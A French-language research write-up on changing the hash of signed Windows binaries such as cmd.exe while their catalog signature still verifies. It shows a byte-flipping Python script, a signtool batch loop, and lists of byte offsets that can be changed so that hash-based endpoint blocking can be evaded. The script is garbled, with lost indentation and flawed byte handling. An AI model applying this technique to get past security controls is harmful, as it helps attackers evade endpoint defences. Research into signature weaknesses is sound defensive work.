
Modifie les binaires Windows signés pour conserver des signatures de catalogue valides tout en modifiant les empreintes de fichiers, contournant ainsi les blocages de points de terminaison basés sur les empreintes et exposant les failles de vérification Authenticode.
L'idée était de contourner les solutions de protection des endpoints qui bloquent les applications signées connues comme « malveillantes », telles que « regsvr32.exe ». Je voulais trouver un moyen d'obtenir un fichier signé valide avec un hash différent.
En utilisant signtool verify /v /a cmd.exe
C:\signcheck>signtool verify /a /v cmd.exe
Verifying: cmd.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
Signing Certificate Chain:
Issued to: Microsoft Root Certificate Authority
Issued by: Microsoft Root Certificate Authority
Expires: Sun May 09 19:28:13 2021
SHA1 hash: CDD4EEAE6000AC7F40C3802C171E30148030C072
Je pensais que le « hash du fichier » était le SHA1 de cmd.exe d'après la sortie (7EB22CBAA74B208DF433C70C06A99280036A52F3)
Un examen plus approfondi a révélé que le SHA1 du fichier cmd.exe était
$ sha1sum.exe cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
Intéressant : le même fichier avec 2 hash différents.
À ce stade, je soupçonnais que la signature ne couvre peut-être pas toutes les sections du fichier.
J'ai écrit un simple script Python pour générer des fichiers de test.
import sys
orig = list(open(sys.argv[1], "rb").read())
i = 0
while i < len(orig):
current = list(orig)
current[i] = chr(ord(current[i]) ^ 0xde)
path = "%d.exe" % i
output = "".join(str(e) for e in current)
open(path, "wb").write(output)
i += 1
print "done"
python generate.py cmd.exe a ensuite été exécuté et a généré plus de 300 Gb de nouveaux fichiers.
Nous devons maintenant valider chacun des fichiers que nous avons créés pour voir s'ils réussissent le test de signature.
Un simple fichier batch peut faire cela.
FOR /L %%A IN (1,1,10000) DO (
signtool verify /v /a %%A.exe
)
Le binaire 330.exe a réussi le contrôle de signature. Dans ce cas, le fichier est différent puisque l'octet à l'offset 330 a été modifié.
C:\signcheck>signtool verify /a /v 330.exe
Verifying: 330.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
$ sha1sum.exe 330.exe
4c05efb9d67291febe44f8c661db55a1ec06bc41 *330.exe
$ sha1sum cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
Les octets suivants peuvent être modifiés sans casser la signature :
330, 331, 408 - 412
Les octets suivants peuvent être modifiés sans casser la signature :
320 - 323, 400 - 407
Les octets suivants peuvent être modifiés sans casser la signature :
216 - 219